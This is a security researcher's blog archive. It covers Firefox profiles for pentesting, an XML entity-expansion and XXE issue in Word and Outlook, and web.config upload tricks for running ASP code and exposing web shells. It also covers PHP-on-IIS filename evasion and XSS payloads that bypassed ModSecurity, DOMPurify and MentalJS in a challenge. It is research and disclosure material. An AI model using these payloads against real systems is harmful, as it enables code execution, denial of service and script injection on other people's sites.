Category Archives: Security Posts

My Security Posts

Using Firefox Profiles in Security Testing

I have started using browser profiles for normal web application assessment since working at NCC Group due to the number of projects I had since the 1st week! I thought it is a good idea to share my solution as I have seen other people facing the same issue when dealing with multiple web application testing projects.

Why should we use a new browser profile for testing?

There are a number of reasons to use separate browser profiles per web application assessments. I have listed some of these reasons from my point of view:

A clean browser environment can be useful to keep the history/data especially when re-testing the same target.

Browser that is used for testing is normally unsafe for day to day browsing. For instance, client-side protections such as XSS auditors or NoScript add-on in Firefox should be disabled while testing in order to detect client-side issues properly. Proxies’ or other self-signed root certificates could be imported in the browser during the test.

It is sometimes necessary to use the private browsing option within the same browser with all the add-ons in order to test session management or broken access control issues (or perhaps to test an issue very quickly using another session but with the same user-agent). It should be noted that private browsing/incognito is not recommended for the actual testing as cache control, sensitive data in URL, or autocomplete issues might be missed and there will be no web history in the browser (especially useful for those times that the proxy is off for some reason).

Why should we automate this?

Having a fresh browser per each test with predefined settings and pre-installed add-ons/extensions can be time consuming if not automated.

I use Mozilla Firefox to make everything easier if the target website is not browser specific or if different user-agents in Firefox do not break the website functionality.

An easy way to do this using Firefox

Step 1: Creating a new empty profile (template)

A Firefox shortcut can be created or edited with the “-p” argument to show the “Choose User Profile” panel. Alternatively, the “-profilemanager” argument can be used to open this panel:

After clicking the “Create Profile” button, choose an appropriate profile name such as “Clean For Security Testing” to create a new profile (you can save it in a preferred location). This profile will be added to the list:

Now click the “Start Firefox” button to customise it.

Step 2: Preparing the template – Firefox settings

As Firefox hides the top menu automatically, we need to use the “Alt” key to access it. It is therefore my preferred choice to make it permanently visible by selecting “Menu Bar” from Views>Toolbars after pressing the “Alt” key. Throughout this post, I have used the top menu to point at items’ locations but the “Open Menu” button in Firefox can be used as well.

In order to reduce the number of requests Firefox sends automatically during testing and to improve the privacy, I normally do this:

– Untick all the boxes in Tools>Options>Advanced>Data Choices

– Untick all the boxes in Tools>Options>Advanced>Update and select “Never check for updates” – It is important to note that check for updates for both Firefox and its add-ons must be performed manually when using profiles.

– From “about:config”, set the value of “browser.newtabpage.enabled” and “network.captive-portal-service.enabled” to “false”.

– From “about:config”, set an empty string for “browser.selfsupport.url”

Other automated requests can be disabled using the Mozilla guideline ifnecessary: https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections

Step 3: Preparing the template – Proxy root certificates

Proxies’ root certificates should also be imported into the browser’s root certificate at this point to make it easier every time we use a new profile.

Step 4: Preparing the template – Installing required extensions / plugins / themes

Add-ons that are installed at this stage are not compulsory and it is up to you to install your favourites. However, the “FEBE” add-on should be installed to automate the process of creating new profiles based on the template:

https://addons.mozilla.org/en-GB/firefox/addon/febe/

http://softwarebychuck.com/febe/tutorial/febeRestoreProfile.html

CLEO extension can also be useful to back up all the extensions in a single file when needed!

My favourite generic extensions for testing are as follows:

ColorfulTabs: this helps me to instantly realise when the testing domain changes – so I can detect out-scoped or different domains using the tab colours! I have chosen “Generate Colors By Domain Hostname” in the extension configuration. I have also set the “Tab Border Radius” to 1 to fix the UI issue it may cause.

Firebug: I still like this extension although Firefox has implemented some of it internally now!

Form History Control: useful to create a quick screenshot for the report when reporting autocomplete issues!

FoxyProxy: very useful to manage different proxies. For instance, I have a few ports configured in it for different purposes and different proxies. If you configure it in your template profile, it will be backed up into your testing profiles as well.

HackBar: limited but quite handy extension to send quick GET/POST requests or to decode/encode something. I use its other features too and sometimes even use it like a notepad!!! As I do not like its panel to be always visible on top, I have added its icon (“Toggle HackBar”) to the address bar menu.

ProfileSwitcher: to switch between profiles quickly when needed!

Random Agent Spoofer: to change the user agent when needed very quickly.

Regular Expressions Tester: to test a Regular Expression when I have no better tools.

Web Developer: An old habit just like Firebug. Makes it easier to manipulate items in a HTML page. I used to use it to see the HTML/JS errors (to detect a lame XSS perhaps!) but it seems Firefox is doing a good job on that itself too.

Perhaps an awesome dark Firefox theme for the security template profile also helps. Something that is appropriate for the report screenshots of course! It may also help you to know when a security profile is in use so you will not use it for normal browsing.

The template is now ready. Do not use it for testing before restoring it into a new separate profile though!

Step 5: FEBE Options

Using Tools>FEBE, select “FEBE Options” and ensure that “Full profile” has been chosen. Then on the “Where to backup” menu in “FEBE Options”, select the backup files location and press the Ok button.

Step 6: Updates

You can ignore this step if you have already updated Firefox and its add-ons.

Ensure that Firefox is updated by going to Help>About Firefox from the top menu. Then from the top menu, go to Tools>Add-ons, select “Extensions” from the left menu and click on the settings button and choose “Check for Updates”. Restart the browser if it is required after the update.

Step 7: Clean up

It is time to clean the history before backing up the template to have a fresh start every time! You can ignore this step if there is nothing in the browser history.

From History>Clear Recent History select “Everything” and tick all the boxes and press “Clear Now”. From Tools>Advanced>Network, clear any remaining cached web contents.

Step 8: Backing up the template

Using Tools>FEBE, select the “Perform backup now” option.  Run it again if it was not successful the first time!

Step 9: Creating new profiles based on the template

When you are using the “Clean For Security Testing” profile, using Tools>FEBE, select the “Restore Profile” option:

First click on the “Create new profile” button and enter a name such as “BugBounty_Facebook”. Close any FEBE messages to make the process smoother.

Now, click on the “Select local backup to restore” button and choose the template profile:

After this stage, click on “Start profile restore” (twice if it did not work).

Step 10: Using the new profile

Now close Firefox and all its messages and open it again. The new profile should appear in the list:

Select it and start Firefox.

Creating another profile

Follow steps 6 to 10 whenever you need to create a new profile for testing now.

Quick start sample

I have created a backup file using my Firefox that you can download from here (https://soroush.secproject.com/downloadable/images/firefox_profile/profileFx53.0(FEBE8.9.3.1){Clean For Security Testing}.zip).

You need to have the FEBE extension installed to use this and to restore the “Clean For Security Testing” profile. Follow steps 6 to 10 after restoring this profile.

Interesting XML Processing in Copy/Paste in Word and Outlook

This issue was not considered to be a security issue based on “Definition of a Security Vulnerability” in https://msdn.microsoft.com/en-us/library/cc751383.aspx as I have been told by Microsoft MSRC team. I thought it can be interesting to some people, so I am sharing the details here.
It seems Microsoft Word and Outlook applications (tested on Office 2010) analyse the DTD section of an XML message upon pasting it in a document or a new email.
This can lead to a denial of service attack by creating an XML message with a large number of nested entities.
The victim should paste the crafted XML message into a Word or Outlook document in order for this issue to be exploited. This can potentially be done by using websites that put arbitrary data in the clipboard upon clicking a button or pressing the CTRL+C combination.

As an example, the following XML message (reference: https://msdn.microsoft.com/en-us/magazine/ee335713.aspx) can be copied and pasted into a Word or Outlook document in order to cause denial of service (paste this into a notepad file first to remove the WordPress style, then copy/paste it again into a new Outlook email or a Word document):

<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]><foo>&lol9;</foo>

Files within the PATH environment variable could also be targeted by using the DTD section as it is shown below:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "win.ini">
]><foo>&xxe;</foo>

The following image shows that MS Word has sent some requests to the file-system to find this file.

It was not possible to use this vulnerability to send requests externally or use arbitrary files on the file system which are outside of the PATH (in environment variables). Therefore, I could not exploit it to hijack files as I could not use the “/”, “\”, or “:” characters.

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   <httpErrors existingResponse="Replace" errorMode="Detailed" />
   </system.webServer>
</configuration>

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 

https://github.com/ironbee/ironbee-rules/blob/master/support/php/test_fs_evasion.php

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

http://onsec.ru/onsec.whitepaper-02.eng.pdf

How did I bypass everything in modsecurity evasion challenge?

First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html

I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.

As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)

Here is what I did to bypass the XSS protections in this challenge for future reference:

XSS Defense #1 – blacklist method

XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.

I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…

However, I used the following features to bypass these protections:

  •  An “object” tag does not need to be closed for this scenario.
  • A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
  • “allowScriptAccess” and “data” attributes were allowed!

So the following is a bypass method for the XSS Defense #1:

<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?

And as the page writes the payload twice, I could also use the following to bypass the protections:

'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='

XSS Defense #2 and #3 – DomPurify and MentalJS

The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.

I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:

// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js
        var _isClobbered = function(elm) {
            if(elm instanceof Text) {
                return false;
            }
            if (
                (elm.children && !(elm.children instanceof HTMLCollection))
                || typeof elm.nodeName !== 'string'
                || typeof elm.textContent !== 'string'
                || typeof elm.nodeType !== 'number'
                || typeof elm.COMMENT_NODE !== 'number'
                || typeof elm.setAttribute !== 'function'
                || typeof elm.cloneNode !== 'function'
                || typeof elm.removeAttributeNode !== 'function'
                || typeof elm.insertAdjacentHTML !== 'function'
                || typeof elm.attributes.item !== 'function'
            ) {
                return true;
            }
            return false;
        };

In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:

/* Check if we have attributes; if not we might have a text node */
if(currentNode.attributes) {

/* Go backwards over all attributes; safely remove bad ones */
for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
tmp = clonedNode.attributes[attr];
clobbering = false;
currentNode.removeAttribute(currentNode.attributes[attr].name);

The bypass code is as follows:

</pre>
<form onmouseover="alert(&quot;by @irsdl:&quot;%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />

It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:

if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') {
                                        elementsToRemove.push(elementNode);
                                        continue;
                                    }

XSS Defense #3 – MentalJS

Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:

<script type="text/javascript">
x=document.createElement('script');x.innerHTML='alert(location)';documdoc.body.appendChild(x);
</script>

I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:

Keeping script “src” to an external js file (normally MentalJS removes them):

<script type="text/javascript" src="http://ha.ckers.org/xss.js">
x
</script>

Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):

</pre>
<form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form>
<pre>

If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:

http://sla.ckers.org/forum/read.php?2,29090,52131,page=13

MentalJS has been written by Gareth Heyes (@garethheyes‎) who was supporting me to bypass his tool to make it more secure.